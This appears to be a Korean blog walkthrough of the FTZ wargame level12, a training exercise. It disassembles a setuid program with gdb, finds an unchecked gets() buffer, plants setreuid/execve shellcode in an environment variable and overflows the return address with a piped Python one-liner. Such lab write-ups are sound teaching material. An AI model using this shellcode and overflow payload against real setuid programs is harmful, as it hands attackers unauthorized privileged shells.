scent2d 2019. 1. 15. 22:18

→ 힌트 정보 열람.






→ setreuid 함수와 gets 함수를 볼 수 있음. bof 문제로 추측. 따라서, gdb를 통해 디버깅.


[level12@ftz tmp]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>:    push   ebp

0x08048471 <main+1>:    mov    ebp,esp

0x08048473 <main+3>:    sub    esp,0x108

0x08048479 <main+9>:    sub    esp,0x8

0x0804847c <main+12>:    push   0xc15

0x08048481 <main+17>:    push   0xc15

0x08048486 <main+22>:    call   0x804835c <setreuid>

0x0804848b <main+27>:    add    esp,0x10

0x0804848e <main+30>:    sub    esp,0xc

0x08048491 <main+33>:    push   0x8048538

0x08048496 <main+38>:    call   0x804834c <printf>

0x0804849b <main+43>:    add    esp,0x10

0x0804849e <main+46>:    sub    esp,0xc

0x080484a1 <main+49>:    lea    eax,[ebp-264]

0x080484a7 <main+55>:    push   eax

0x080484a8 <main+56>:    call   0x804831c <gets>

0x080484ad <main+61>:    add    esp,0x10

0x080484b0 <main+64>:    sub    esp,0x8

0x080484b3 <main+67>:    lea    eax,[ebp-264]

0x080484b9 <main+73>:    push   eax

0x080484ba <main+74>:    push   0x804854c

0x080484bf <main+79>:    call   0x804834c <printf>

0x080484c4 <main+84>:    add    esp,0x10

0x080484c7 <main+87>:    leave  

0x080484c8 <main+88>:    ret    

0x080484c9 <main+89>:    lea    esi,[esi]

0x080484cc <main+92>:    nop    

0x080484cd <main+93>:    nop    

0x080484ce <main+94>:    nop    

0x080484cf <main+95>:    nop    

End of assembler dump.

(gdb) b *main+56

Breakpoint 1 at 0x80484a8



→ 0x108을 할당하고, 0x108의 10진수 값은 264바이트이다. 코드상에선 256바이트만큼 배열을 할당하므로, 나머지 8바이트는 더미 값으로 추측 가능하다. 따라서 메모리 구조는 아래와 같다.



→ 에그쉘을 사용하기 위해, 아래와 같이 환경변수에 쉘코드를 추가한다.


export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')



→ 환경변수의 주소는 아래 C 소스코드를 컴파일하여 실행한다.


#include <stdio.h>

int main()

{

        printf("addr: %p\n", getenv("SHELLCODE"));

        return 0;

}



[level12@ftz tmp]$ ./test

addr: 0xbffffc1b


→ 쉘 코드 주소를 구했는데, 아규먼트가 아닌 사용자 입력 값을 스크립트 형태로 넘기기 힘든것을 깨달았다. 검색한 결과, |(버티컬 바)를 이용하여 넘길 수 있다.


(python -c 'print "A"*268+"\x1b\xfc\xff\xbf"';cat)|./attackme